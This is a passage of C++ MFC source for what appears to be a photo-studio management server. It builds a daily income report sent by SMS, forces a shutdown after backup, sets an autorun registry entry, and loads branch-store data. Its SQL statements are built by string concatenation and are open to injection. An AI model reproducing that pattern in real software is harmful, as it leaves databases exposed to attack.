  4457. List11array.ElementAt(oldsize + ii).Add(rsSt.m_money);
  4458. List11array.ElementAt(oldsize + ii).Add(rsSt.m_bz);
  4459. List11array.ElementAt(oldsize + ii).Add(rsSt.m_kind);
  4460. List11array.ElementAt(oldsize + ii).Add(rsSt.m_date);
  4461. List11array.ElementAt(oldsize + ii).Add(rsSt.paytype);
  4462. ii++;
  4463. rsSt.MoveNext(); if (List11array.GetSize() <= ii)break;
  4464. }
  4465. rsSt.Close(); List11array.SetSize(oldsize + ii, 1);
  4466. }
  4467. filter = "[date]='" + strdate + "'";
  4468. {
  4469. CRecordset myset(pCurdb);
  4470. CString sql = "select count(*) as cot from singleincomemoneyview"; if (!filter.IsEmpty())sql += " where " + filter;
  4471. myset.Open(CRecordset::forwardOnly, sql);
  4472. myset.GetFieldValue("cot", sql);
  4473. myset.Close();
  4474. int count = atol(sql);
  4475. int oldsize = other2salearray.GetSize();
  4476. other2salearray.SetSize(oldsize + count, 1);
  4477. CRstsingleincomemoneyview rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4478. rsSt.Open();
  4479. int ii = 0;
  4480. while (!rsSt.IsEOF())
  4481. {
  4482. other2salearray.ElementAt(oldsize + ii).RemoveAll();
  4483. other2salearray.ElementAt(oldsize + ii).Add(rsSt.name);
  4484. other2salearray.ElementAt(oldsize + ii).Add(rsSt.renyuan1);
  4485. other2salearray.ElementAt(oldsize + ii).Add(rsSt.renyuan3);
  4486. other2salearray.ElementAt(oldsize + ii).Add(rsSt.sale2type);
  4487. other2salearray.ElementAt(oldsize + ii).Add(rsSt.money);
  4488. other2salearray.ElementAt(oldsize + ii).Add(rsSt.date);
  4489. other2salearray.ElementAt(oldsize + ii).Add(rsSt.clerk);
  4490. other2salearray.ElementAt(oldsize + ii).Add(rsSt.paytype);
  4491. other2salearray.ElementAt(oldsize + ii).Add(rsSt.autoid);
  4492. other2salearray.ElementAt(oldsize + ii).Add(rsSt.financecheck);
  4493. ii++;
  4494. rsSt.MoveNext(); if (other2salearray.GetSize() <= ii)break;
  4495. }
  4496. rsSt.Close(); other2salearray.SetSize(oldsize + ii, 1);
  4497. }
  4498. filter = "[date]='" + strdate + "'";
  4499. {
  4500. CRecordset myset(pCurdb);
  4501. CString sql = "select count(*) as cot from memberview"; if (!filter.IsEmpty())sql += " where " + filter;
  4502. myset.Open(CRecordset::forwardOnly, sql);
  4503. myset.GetFieldValue("cot", sql);
  4504. myset.Close();
  4505. int count = atol(sql);
  4506. int oldsize = memberarray.GetSize();
  4507. memberarray.SetSize(oldsize + count, 1);
  4508. memberviewReg rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4509. rsSt.Open();
  4510. DWORD ii = 0;
  4511. while (!rsSt.IsEOF())
  4512. {
  4513. memberarray.ElementAt(oldsize + ii).RemoveAll();
  4514. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_id);
  4515. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_memberno);
  4516. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_name);
  4517. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_money);
  4518. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_date);
  4519. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_clerk);
  4520. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_financecheck);
  4521. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_moneytype);
  4522. ii++;
  4523. rsSt.MoveNext(); if (memberarray.GetSize() <= ii)break;
  4524. }
  4525. rsSt.Close(); memberarray.SetSize(oldsize + ii, 1);
  4526. }
  4527. }//
  4528. CString str;
  4529. int pos = 0;
  4530. int dindanshu = 0;
  4531. float income = 0;
  4532. float incomedd = 0;
  4533. float incomebk = 0;
  4534. float incomehq = 0;
  4535. float incomeqt = 0;
  4536. float fStoredCardSpending = 0.0; // 储值卡扣款
  4537. float payout = 0;
  4538. int i = 0;
  4539. for ( i = 0; i < List11array.GetSize(); i++)
  4540. {
  4541. str = List11array.ElementAt(i).ElementAt(2);
  4542. income += atof(str);
  4543. // income2+=atof(str);
  4544. if (List11array.ElementAt(i).ElementAt(3) == "预约收款")
  4545. {
  4546. incomedd += atof(str);
  4547. dindanshu++;
  4548. }
  4549. else if (List11array.ElementAt(i).ElementAt(3) == "预约补款")
  4550. {
  4551. incomebk += atof(str);
  4552. }
  4553. else
  4554. {
  4555. incomehq += atof(str);
  4556. }
  4557. #if JEFF_TEST_ON // 去除储值卡扣费;
  4558. if (List11array.ElementAt(i).ElementAt(6) == "储值卡扣款" || List11array.ElementAt(i).ElementAt(6) == "代金券")
  4559. {
  4560. fStoredCardSpending += atof(str);
  4561. }
  4562. #endif
  4563. pos++;
  4564. }
  4565. for (i = 0; i < List2array.GetSize(); i++)
  4566. {
  4567. str = List2array.ElementAt(i).ElementAt(2);
  4568. income += atof(str);
  4569. /* if(List2array.ElementAt (i).ElementAt (8)!="")
  4570. {
  4571. income2+=atof(str);
  4572. }*/
  4573. if (List2array.ElementAt(i).ElementAt(8) == "")
  4574. {
  4575. incomeqt += atof(str);
  4576. }
  4577. pos++;
  4578. }
  4579. for (i = 0; i < List3array.GetSize(); i++)
  4580. {
  4581. str = List3array.ElementAt(i).ElementAt(2);
  4582. payout += atof(str);
  4583. pos++;
  4584. }
  4585. for (i = 0; i < other2salearray.GetSize(); i++)
  4586. {
  4587. str = other2salearray.ElementAt(i).ElementAt(4);
  4588. income += atof(str);
  4589. incomehq += atof(str);
  4590. pos++;
  4591. }
  4592. for (i = 0; i < memberarray.GetSize(); i++)
  4593. {
  4594. str = memberarray.ElementAt(i).ElementAt(3);
  4595. income += atof(str);
  4596. pos++;
  4597. }
  4598. CTime tm = CTime::GetCurrentTime();
  4599. CString content = msgcompanyname + tm.Format("%Y-%m-%d");
  4600. content += "财报:";
  4601. income -= fStoredCardSpending;
  4602. str.Format("%d", (int)(income)); // 去除储值卡扣款和代金券;
  4603. ::ConvertToPrice(str);
  4604. content += "收:" + str;
  4605. str.Format("%d", (int)incomedd);
  4606. ::ConvertToPrice(str);
  4607. content += "定:" + str;
  4608. str.Format("%d", (int)incomebk);
  4609. ::ConvertToPrice(str);
  4610. content += "补:" + str;
  4611. str.Format("%d", (int)incomehq);
  4612. ::ConvertToPrice(str);
  4613. content += "后:" + str;
  4614. str.Format("%d", (int)incomeqt);
  4615. ::ConvertToPrice(str);
  4616. content += "其它:" + str;
  4617. str.Format("%d", (int)payout);
  4618. ::ConvertToPrice(str);
  4619. content += "支出:" + str;
  4620. str.Format("%d", (int)(income - payout));
  4621. ::ConvertToPrice(str);
  4622. content += "净收:" + str;
  4623. str.Format("%d", dindanshu);
  4624. content += "定单:" + str;
  4625. if (msgaccount != "")
  4626. {
  4627. if (atoi(balance) < 200)
  4628. {
  4629. content += "您的余额小于两百条,请及时充值。联系电话4006067068";
  4630. }
  4631. else if (atoi(balance) < 500)
  4632. {
  4633. content += "您的余额小于五百条,请及时充值。联系电话4006067068";
  4634. }
  4635. else if (atoi(balance) < 800)
  4636. {
  4637. content += "您的余额小于八百条,请及时充值。联系电话4006067068";
  4638. }
  4639. else if (atoi(balance) < 1000)
  4640. {
  4641. content += "您的余额小于一千条,请及时充值。联系电话4006067068";
  4642. }
  4643. }
  4644. int count = GetLengthEx(content) / MSG_LENGTH;
  4645. if (GetLengthEx(content) % MSG_LENGTH)
  4646. count++;
  4647. int phonenum = 0;
  4648. str = msgphones;
  4649. pos = str.Find(",");
  4650. if (pos != -1)
  4651. {
  4652. while (pos != -1)
  4653. {
  4654. phonenum++;
  4655. str = str.Right(str.GetLength() - pos - 1);
  4656. pos = str.Find(",");
  4657. }
  4658. phonenum++;
  4659. }
  4660. else
  4661. phonenum = 1;
  4662. count *= phonenum;
  4663. CString scount;
  4664. scount.Format("%d", count);
  4665. timestamp = tm.Format("%Y%m%d%H%M%S");
  4666. sql = "insert into sendreg([phones],[content],[timestamp],[msgcount],[status],[issended],[isautosend],[ren]) values('" + msgphones + "','" + content + "','" + timestamp + "','" + scount + "','0','0','3','系统自动发送')";
  4667. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  4668. }
  4669. }
  4670. }
  4671. BOOL bcheck1 = atoi(m_bak1);
  4672. BOOL bcheck2 = atoi(m_bak2);
  4673. BOOL bcheck3 = atoi(m_bak3);
  4674. BOOL bcheck4 = atoi(m_bak4);
  4675. }
  4676. catch (CException *e)
  4677. {
  4678. TCHAR szError[1024] = { 0 };
  4679. e->GetErrorMessage(szError, 1024);
  4680. WriteTextLog(CString(szError));
  4681. e->Delete();
  4682. WriteTextLog("出错在函数bakphoto中");
  4683. }
  4684. }
  4685. void CDBServerDlg::ShutDown() //Jeff:备份完毕后执行的关机函数;
  4686. {
  4687. try
  4688. {
  4689. // 结束检查服务线程
  4690. TerminateCheckWork();
  4691. CDatabase *pMaindb = NULL;
  4692. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  4693. if ( pMaindb == NULL )
  4694. return;
  4695. CString m_bak6;
  4696. {
  4697. CRecordset myset(pMaindb);
  4698. CString sql = "select * from [version]";
  4699. myset.Open(CRecordset::forwardOnly, sql);
  4700. myset.GetFieldValue("bak6", m_bak6);
  4701. myset.Close();
  4702. }
  4703. OnServerStop(); // 停止服务;
  4704. // Jeff.关闭数据库连接,若关机前关闭了数据库的连接,则客户端进行订单无法实现数据库的操作;
  4705. // Jeff.在关机前,不能关闭数据库连接;
  4706. for (int i = 0; i < g_dbHistoryArray.GetSize(); i++)
  4707. {
  4708. g_dbHistoryArray.ElementAt(i)->Close();
  4709. delete g_dbHistoryArray.ElementAt(i);
  4710. }
  4711. ReleaseBranchDB();
  4712. WriteTextLog("备份完成");
  4713. ////////////////
  4714. g_tisks = ::GetTickCount() - g_tisks;
  4715. CString str;
  4716. str.Format("耗时:%d分钟", g_tisks / 60000);
  4717. CStdioFile fp;
  4718. fp.Open(g_mainpath + "\\log.txt", CFile::modeCreate | CFile::modeWrite);
  4719. CTime tm = CTime::GetCurrentTime();
  4720. if (0)//tm.GetHour ()<5)
  4721. {
  4722. CTimeSpan sp(1, 0, 0, 0);
  4723. tm -= sp;
  4724. fp.WriteString(tm.Format("%Y-%m-%d"));
  4725. fp.WriteString("\r\n");
  4726. fp.WriteString(CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S"));
  4727. fp.WriteString(str);
  4728. }
  4729. else
  4730. {
  4731. fp.WriteString(g_bakdate);
  4732. fp.WriteString("\r\n");
  4733. fp.WriteString(tm.Format("%Y-%m-%d %H:%M:%S"));
  4734. fp.WriteString(str);
  4735. }
  4736. fp.WriteString("\r\n");
  4737. fp.WriteString(g_bakinfo);
  4738. fp.WriteString("\r\n");
  4739. fp.WriteString(g_bakphoto);
  4740. fp.Close();
  4741. // OnButton3();
  4742. // Jeff.备份完成后自动关机;
  4743. if (atoi(m_bak6))
  4744. {
  4745. // Jeff.关闭运行中的线程;
  4746. TerminateThread();
  4747. // Jeff.关闭AutoRun.exe程序;
  4748. DWORD id = FindAppProcessID("AutoRun.exe");
  4749. if (id != -1)
  4750. {
  4751. HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
  4752. if (ProcessHandle)TerminateProcess(ProcessHandle, 0);
  4753. }
  4754. // Jeff.移除托盘图标;
  4755. m_TrayIcon.RemoveIcon();
  4756. if (g_pSkinData)delete[]g_pSkinData; g_pSkinData = NULL;
  4757. // Jeff.关闭计算机;
  4758. MyExitWindows();
  4759. }
  4760. else//重启
  4761. {
  4762. TerminateThread();
  4763. m_TrayIcon.RemoveIcon();
  4764. if (g_pSkinData)
  4765. delete[]g_pSkinData;
  4766. g_pSkinData = NULL;
  4767. WriteTextLog("备份完成,服务器重启");
  4768. CDialog::OnCancel();
  4769. }
  4770. }
  4771. catch (...)
  4772. {
  4773. WriteTextLog("出错在函数shutdown中");
  4774. }
  4775. }
  4776. void CDBServerDlg::MyExitWindows()
  4777. {
  4778. try
  4779. {
  4780. UINT t = EWX_SHUTDOWN | EWX_FORCE;
  4781. OSVERSIONINFO osv; //定义一个操作系统信息的结构体
  4782. osv.dwOSVersionInfoSize = sizeof OSVERSIONINFO;
  4783. GetVersionEx(&osv); //查询当前操作系统
  4784. if (osv.dwPlatformId == VER_PLATFORM_WIN32_NT) //判断是否是2000/NT
  4785. {
  4786. //下面为向操作系统获取权限操作
  4787. HANDLE hProcess, hToken;
  4788. TOKEN_PRIVILEGES Privileges;
  4789. LUID luid;
  4790. hProcess = GetCurrentProcess();
  4791. //下面为打开当前进程对话
  4792. OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
  4793. Privileges.PrivilegeCount = 1;
  4794. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luid);
  4795. Privileges.Privileges[0].Luid = luid;
  4796. Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  4797. AdjustTokenPrivileges(hToken, FALSE, &Privileges, NULL, NULL, NULL);
  4798. ExitWindowsEx(t, 0);
  4799. }
  4800. else
  4801. {
  4802. ExitWindowsEx(t, 0);//调用ExitWindowsEx关闭机器。
  4803. PostQuitMessage(0);
  4804. }
  4805. }
  4806. catch (...)
  4807. {
  4808. WriteTextLog("出错在函数exitwindows中");
  4809. }
  4810. }
  4811. void CDBServerDlg::OnAutorun()
  4812. {
  4813. // TODO: Add your command handler code here
  4814. g_bAutoRun = !g_bAutoRun;
  4815. CString version = _T("Version 1.0");
  4816. AfxGetApp()->WriteProfileInt(version, "brun", g_bAutoRun);
  4817. TCHAR szKey[MAX_PATH];
  4818. HKEY hKey = 0;
  4819. DWORD disp = 0;
  4820. lstrcpy(szKey, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
  4821. if (g_bAutoRun)
  4822. {
  4823. int lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, szKey, 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &disp);
  4824. if (lResult == ERROR_SUCCESS)
  4825. {
  4826. TCHAR szDir[MAX_PATH];
  4827. ::GetModuleFileName(NULL, szDir, MAX_PATH);
  4828. lResult = RegSetValueEx(hKey, "YLGLDBSERVER", 0, REG_SZ, (const unsigned char*)szDir, lstrlen(szDir));
  4829. RegCloseKey(hKey);
  4830. }
  4831. }
  4832. else
  4833. {
  4834. int lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, szKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &disp);
  4835. if (lResult == ERROR_SUCCESS)
  4836. {
  4837. RegDeleteValue(hKey, "YLGLDBSERVER");
  4838. RegDeleteKey(hKey, "YLGLDBSERVER");
  4839. RegCloseKey(hKey);
  4840. }
  4841. }
  4842. }
  4843. void CDBServerDlg::GetFileDate()
  4844. {
  4845. CStringArray filesarray;
  4846. CStringArray filesarray2;
  4847. filesarray.Add("AutoUpdate.exe"); // 1.
  4848. filesarray.Add("skin\\1.lia");
  4849. filesarray.Add("skin\\2.lia");
  4850. filesarray.Add("skin\\3.lia");
  4851. filesarray.Add("skin\\4.lia");
  4852. filesarray.Add("skin\\10.lia");
  4853. filesarray.Add("skin\\logo.jpg");
  4854. filesarray.Add("skin\\标题-选片.jpg");
  4855. filesarray.Add("skin\\标题-看设计.jpg");
  4856. filesarray.Add("图片\\欢迎.jpg"); // 10.
  4857. filesarray.Add("图片\\连接.jpg");
  4858. filesarray.Add("图片\\标题.jpg");
  4859. filesarray.Add("图片\\背景.jpg");
  4860. filesarray.Add("图片-红色风格\\欢迎.jpg");
  4861. filesarray.Add("图片-红色风格\\连接.jpg");
  4862. filesarray.Add("图片-红色风格\\标题.jpg");
  4863. filesarray.Add("图片-红色风格\\背景.jpg");
  4864. filesarray.Add("图片-红色风格\\选片.jpg");
  4865. filesarray.Add("图片-红色风格\\看设计.jpg");
  4866. filesarray.Add("skin\\1-red.lia"); // 20.
  4867. filesarray.Add("skin\\2-red.lia");
  4868. filesarray.Add("skin\\10-red.lia");
  4869. filesarray.Add("skin\\6.lia");
  4870. filesarray.Add("图片\\掌中宝.jpg");
  4871. filesarray.Add("regsvr32.exe"); // 25.
  4872. filesarray.Add("MSCHRT20.OCX"); // 26. // Jeff.2014.09.06.添加MSCHRT20.OCX,由服务器传递;
  4873. ///////////////
  4874. filesarray2.Add("AutoUpdate.exe");
  4875. filesarray2.Add("skin\\1.lia");
  4876. filesarray2.Add("skin\\2.lia");
  4877. filesarray2.Add("skin\\3.lia");
  4878. filesarray2.Add("skin\\4.lia");
  4879. filesarray2.Add("skin\\5.lia");
  4880. filesarray2.Add("skin\\10.lia");
  4881. filesarray2.Add("skin\\5-red.lia");
  4882. filesarray2.Add("skin\\10-red.lia");
  4883. filesarray2.Add("图片\\logo.jpg");
  4884. filesarray2.Add("图片\\标题-选片.jpg");
  4885. filesarray2.Add("图片\\标题-看设计.jpg");
  4886. filesarray2.Add("图片\\选片.jpg");
  4887. filesarray2.Add("图片\\看设计.jpg");
  4888. filesarray2.Add("图片\\欢迎.jpg");
  4889. filesarray2.Add("图片\\连接.jpg");
  4890. filesarray2.Add("图片\\标题.jpg");
  4891. filesarray2.Add("图片\\背景.jpg");
  4892. filesarray2.Add("图片-红色风格\\欢迎.jpg");
  4893. filesarray2.Add("图片-红色风格\\连接.jpg");
  4894. filesarray2.Add("图片-红色风格\\标题.jpg");
  4895. filesarray2.Add("图片-红色风格\\背景.jpg");
  4896. filesarray2.Add("skin\\6.lia");
  4897. filesarray2.Add("图片\\掌中宝.jpg");
  4898. filesarray2.Add("regsvr32.exe");
  4899. filesarray2.Add("MSCHRT20.OCX"); // 26. // Jeff.2014.09.06.添加MSCHRT20.OCX,由服务器传递;
  4900. int i = 0;
  4901. //for (int i = 0; i < filesarray.GetSize(); i++)
  4902. for ( i = 0; i < filesarray.GetSize(); i++)
  4903. {
  4904. g_filedatearray.Add(GetModifyTime(g_mainpath + "\\系统文件\\" + filesarray.ElementAt(i)));
  4905. }
  4906. g_filedatearraynew.Copy(filesarray2);
  4907. for (i = 0; i < filesarray2.GetSize(); i++)
  4908. {
  4909. g_filedatearraynew.Add(GetFileSize(g_mainpath + "\\系统文件\\" + filesarray2.ElementAt(i)));
  4910. }
  4911. }
  4912. //extern CString g_sdomain;
  4913. #ifdef ENTERPRISE_VERSION
  4914. CString g_bMain;
  4915. #endif
  4916. void CDBServerDlg::LoadBranchInfo()
  4917. {
  4918. #ifdef ENTERPRISE_VERSION
  4919. try
  4920. {
  4921. ReleaseBranchDB();
  4922. CArray<CStringArray, CStringArray>g_List1array;
  4923. {
  4924. MyLock lock("savebranchinfo");
  4925. CFile fp;
  4926. CString path = g_mainpath + "\\branchinfo.dat";
  4927. if (::PathFileExists(path) == 0)
  4928. return;
  4929. fp.Open(path, CFile::modeRead);
  4930. DWORD leng = fp.GetLength();
  4931. if (leng < sizeof(DWORD) * 2)
  4932. {
  4933. fp.Close();
  4934. return;
  4935. }
  4936. DWORD flag = 0;
  4937. //fp.Seek(-sizeof(DWORD), CFile::end);
  4938. fp.Seek(-(int)sizeof(DWORD), CFile::end);
  4939. fp.Read(&flag, sizeof(DWORD));
  4940. if (flag != 889900)
  4941. {
  4942. fp.Close();
  4943. return;
  4944. }
  4945. fp.SeekToBegin();
  4946. DWORD arraysize;
  4947. fp.Read(&arraysize, sizeof(DWORD));
  4948. if (arraysize > 20)
  4949. {
  4950. fp.Close();
  4951. return;
  4952. }
  4953. BYTE *pData = new BYTE[leng - sizeof(DWORD)];
  4954. fp.Read(pData, leng - sizeof(DWORD));
  4955. fp.Close();
  4956. CMemFile memfile;
  4957. memfile.Attach(pData, leng - sizeof(DWORD));
  4958. CArchive ar(&memfile, CArchive::load);
  4959. g_List1array.SetSize(arraysize, 1);
  4960. for (int ii = 0; ii < g_List1array.GetSize(); ii++)
  4961. g_List1array.ElementAt(ii).Serialize(ar);
  4962. ar.Close();
  4963. memfile.Detach();
  4964. delete[]pData;
  4965. }
  4966. if (g_List1array.GetSize() == 0)
  4967. return;
  4968. // SoftKey ytSoftKey;
  4969. // if(ytSoftKey.Ini()==0)
  4970. {
  4971. int value[8];
  4972. double f[8];
  4973. TCHAR s0[50] = _T(""), s1[50] = _T(""), s2[50] = _T(""), s3[50] = _T(""), s4[50] = _T(""), s5[50] = _T(""), s6[50] = _T(""), s7[50] = _T("");
  4974. //运行自定义函数
  4975. int ret = SoftKey::GetInstance()->getdata(&value[0], &value[1], &value[2], &value[3], &value[4], &value[5], &value[6], &value[7],
  4976. &f[0], &f[1], &f[2], &f[3], &f[4], &f[5], &f[6], &f[7],
  4977. s0, s1, s2, s3, s4, s5, s6, s7);
  4978. if (ret != 0 && ret != -43)
  4979. {
  4980. g_sdomain = "";
  4981. }
  4982. else
  4983. g_sdomain = s1;
  4984. }
  4985. CString str, str2, localname, rights;
  4986. int i = 0;
  4987. for (/*int*/ i = 0; i < g_List1array.GetSize(); i++)
  4988. {
  4989. if (g_sdomain == g_List1array.ElementAt(i).ElementAt(0))
  4990. {
  4991. if (g_List1array.ElementAt(i).GetSize()>5)
  4992. rights = g_List1array.ElementAt(i).ElementAt(5); break;
  4993. }
  4994. }
  4995. for (i = 0; i < g_List1array.GetSize(); i++)
  4996. {
  4997. CString branchname = g_List1array.ElementAt(i).ElementAt(1);
  4998. CString branchip = g_List1array.ElementAt(i).ElementAt(2);
  4999. CString domain = g_List1array.ElementAt(i).ElementAt(0);
  5000. CString dir = g_mainpath + "\\数据\\" + branchname;
  5001. if (g_sdomain == g_List1array.ElementAt(i).ElementAt(0))
  5002. {
  5003. localname = branchname;
  5004. g_bMain = g_List1array.ElementAt(i).ElementAt(3);
  5005. continue;
  5006. }
  5007. CString branchname2 = "," + branchname + ",";
  5008. if (rights.Find(branchname2) == -1)
  5009. continue;
  5010. #ifdef SQLSERVER_VERSION
  5011. if (1)//::PathFileExists (dir))
  5012. {
  5013. /////////////////////////
  5014. g_branchdbarray.Add(NULL);
  5015. g_branchnamearray.Add(branchname);
  5016. g_branchdb2array.Add(NULL);
  5017. g_branchname2array.Add(branchname);
  5018. g_branchiparray.Add(branchip);
  5019. g_branchdomainarray.Add(domain);
  5020. // WriteTextLog(_T("添加分店:")+branchname);
  5021. }
  5022. #endif
  5023. }
  5024. //WriteTextLog(_T("添加本店:")+localname);
  5025. g_branchdbarray.Add(NULL);
  5026. g_branchnamearray.Add(localname);
  5027. g_branchiparray.Add("xxx");
  5028. g_branchdomainarray.Add(g_sdomain);
  5029. }
  5030. catch (...)
  5031. {
  5032. }
  5033. #endif
  5034. }
  5035. void CDBServerDlg::ReleaseBranchDB()
  5036. {
  5037. #ifdef ENTERPRISE_VERSION
  5038. try
  5039. {
  5040. for (int i = 0; i < g_branchdbarray.GetSize(); i++)
  5041. {
  5042. if (g_branchdbarray.ElementAt(i))
  5043. {
  5044. g_branchdbarray.ElementAt(i)->Close();
  5045. delete g_branchdbarray.ElementAt(i);
  5046. }
  5047. }
  5048. g_branchdbarray.RemoveAll();
  5049. g_branchdb2array.RemoveAll();
  5050. g_branchnamearray.RemoveAll();
  5051. g_branchname2array.RemoveAll();
  5052. g_branchiparray.RemoveAll();
  5053. g_branchdomainarray.RemoveAll();
  5054. }
  5055. catch (...)
  5056. {
  5057. WriteTextLog("ReleaseBranchDB出错");
  5058. }
  5059. #endif
  5060. }
  5061. //savebranchinfo
  5062. void CDBServerDlg::LoadBranchInfo2()
  5063. {
  5064. #ifdef ENTERPRISE_VERSION
  5065. try
  5066. {
  5067. ReleaseBranchDB();
  5068. CArray<CStringArray, CStringArray>g_List1array;
  5069. {
  5070. MyLock lock("savebranchinfo");
  5071. CFile fp;
  5072. CString path = g_mainpath + "\\branchinfo.dat";
  5073. if (::PathFileExists(path) == 0)
  5074. return;
  5075. fp.Open(path, CFile::modeRead);
  5076. DWORD leng = fp.GetLength();
  5077. if (leng < sizeof(DWORD) * 2)
  5078. {
  5079. fp.Close(); return;
  5080. }
  5081. DWORD flag;
  5082. //fp.Seek(-sizeof(DWORD), CFile::end);
  5083. fp.Seek(-(int)sizeof(DWORD), CFile::end);
  5084. fp.Read(&flag, sizeof(DWORD));
  5085. if (flag != 889900)
  5086. {
  5087. fp.Close(); return;
  5088. }
  5089. fp.SeekToBegin();
  5090. DWORD arraysize;
  5091. fp.Read(&arraysize, sizeof(DWORD));
  5092. if (arraysize > 20)
  5093. {
  5094. fp.Close();
  5095. return;
  5096. }
  5097. BYTE *pData = new BYTE[leng - sizeof(DWORD)];
  5098. fp.Read(pData, leng - sizeof(DWORD));
  5099. fp.Close();
  5100. CMemFile memfile;
  5101. memfile.Attach(pData, leng - sizeof(DWORD));
  5102. CArchive ar(&memfile, CArchive::load);
  5103. g_List1array.SetSize(arraysize, 1);
  5104. for (int ii = 0; ii < g_List1array.GetSize(); ii++)
  5105. {
  5106. g_List1array.ElementAt(ii).Serialize(ar);
  5107. }
  5108. ar.Close();
  5109. memfile.Detach();
  5110. delete[]pData;
  5111. }
  5112. if (g_List1array.GetSize() == 0)return;
  5113. // SoftKey ytSoftKey;
  5114. // if(ytSoftKey.Ini()==0)
  5115. {
  5116. int value[8];
  5117. double f[8];
  5118. TCHAR s0[50] = _T(""), s1[50] = _T(""), s2[50] = _T(""), s3[50] = _T(""), s4[50] = _T(""), s5[50] = _T(""), s6[50] = _T(""), s7[50] = _T("");
  5119. //运行自定义函数
  5120. int ret = SoftKey::GetInstance()->getdata(&value[0], &value[1], &value[2], &value[3], &value[4], &value[5], &value[6], &value[7],
  5121. &f[0], &f[1], &f[2], &f[3], &f[4], &f[5], &f[6], &f[7],
  5122. s0, s1, s2, s3, s4, s5, s6, s7);
  5123. if (ret != 0 && ret != -43)
  5124. {
  5125. g_sdomain = "";
  5126. }
  5127. else
  5128. g_sdomain = s1;
  5129. }
  5130. CString str, str2, localname, rights;
  5131. int i = 0;
  5132. for (/*int*/ i = 0; i < g_List1array.GetSize(); i++)
  5133. {
  5134. if (g_sdomain == g_List1array.ElementAt(i).ElementAt(0))
  5135. {
  5136. if (g_List1array.ElementAt(i).GetSize()>5)
  5137. rights = g_List1array.ElementAt(i).ElementAt(5); break;
  5138. }
  5139. }
  5140. for (i = 0; i < g_List1array.GetSize(); i++)
  5141. {
  5142. CString branchname = g_List1array.ElementAt(i).ElementAt(1);
  5143. CString branchip = g_List1array.ElementAt(i).ElementAt(2);
  5144. CString domain = g_List1array.ElementAt(i).ElementAt(0);
  5145. CString dir = g_mainpath + "\\数据\\" + branchname;
  5146. if (g_sdomain == g_List1array.ElementAt(i).ElementAt(0))
  5147. {
  5148. localname = branchname;
  5149. g_bMain = g_List1array.ElementAt(i).ElementAt(3);
  5150. continue;
  5151. }
  5152. CString branchname2 = "," + branchname + ",";
  5153. if (rights.Find(branchname2) == -1)
  5154. continue;
  5155. #ifdef SQLSERVER_VERSION
  5156. if (1)//::PathFileExists (dir))
  5157. {
  5158. ////////////////////////
  5159. g_branchdbarray.Add(NULL);
  5160. g_branchnamearray.Add(branchname);
  5161. g_branchdb2array.Add(NULL);
  5162. g_branchname2array.Add(branchname);
  5163. g_branchiparray.Add(branchip);
  5164. g_branchdomainarray.Add(domain);
  5165. }
  5166. #endif
  5167. }
  5168. g_branchdbarray.Add(NULL);
  5169. g_branchnamearray.Add(localname);
  5170. g_branchiparray.Add("xxx");
  5171. g_branchdomainarray.Add(g_sdomain);
  5172. }
  5173. catch (...)
  5174. {
  5175. }
  5176. #endif
  5177. }
  5178. int __cdecl CompareByLabel6(const void *elem1, const void *elem2)
  5179. {
  5180. CStringArray *p1 = (CStringArray*)elem1;
  5181. CStringArray *p2 = (CStringArray*)elem2;
  5182. return atoi(p1->ElementAt(5)) > atoi(p2->ElementAt(5));
  5183. }
  5184. //--------------------------------------------------------------
  5185. // Remark by Jeff 2014.12.16
  5186. // 函数:CheckMemberMsg
  5187. // 描述:
  5188. // 参数:
  5189. // 返回:
  5190. //
  5191. // 调用关系:
  5192. // 1.CheckMemberMsg() 只由 CDBServerDlg::SetTimer(4) 调用,调用频率2分钟,周期数直到程序结束。
  5193. // 2.CDBServerDlg::SetTimer(4) 由 CDBServerDlg::SetTimer(2) 调用,调用频率10毫秒,只有一个周期。
  5194. // 3.CDBServerDlg::SetTimer(2) 由 CDBServerDlg::OnInitDialog() 调用.
  5195. //--------------------------------------------------------------
  5196. void CDBServerDlg::CheckMemberMsg() // Jeff.由定时器SetTimer两分钟执行一次
  5197. {
  5198. try
  5199. {
  5200. CDatabase *pMaindb = NULL;
  5201. ODBCConnGuard ConnGuard( pMaindb, -1, 3000);
  5202. if ( pMaindb == NULL )
  5203. return;
  5204. CString sql = "delete from sendreg where [log]='0/0'";
  5205. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5206. {
  5207. CStringArray idarray;
  5208. CString timestamp;
  5209. CTime tm = CTime::GetCurrentTime();
  5210. tm -= CTimeSpan(0, 1, 0, 0);
  5211. timestamp = tm.Format("%Y%m%d%H%M%S");
  5212. CRecordset myset(pMaindb);
  5213. CString sql = "select [autoid] from sendregdelay where [timestamp]<'" + timestamp + "'";
  5214. myset.Open(CRecordset::forwardOnly, sql);
  5215. while (!myset.IsEOF())
  5216. {
  5217. myset.GetFieldValue("autoid", sql);
  5218. idarray.Add(sql);
  5219. myset.MoveNext();
  5220. }
  5221. myset.Close();
  5222. for (int i = 0; i < idarray.GetSize(); i++)
  5223. {
  5224. // Jeff.deal
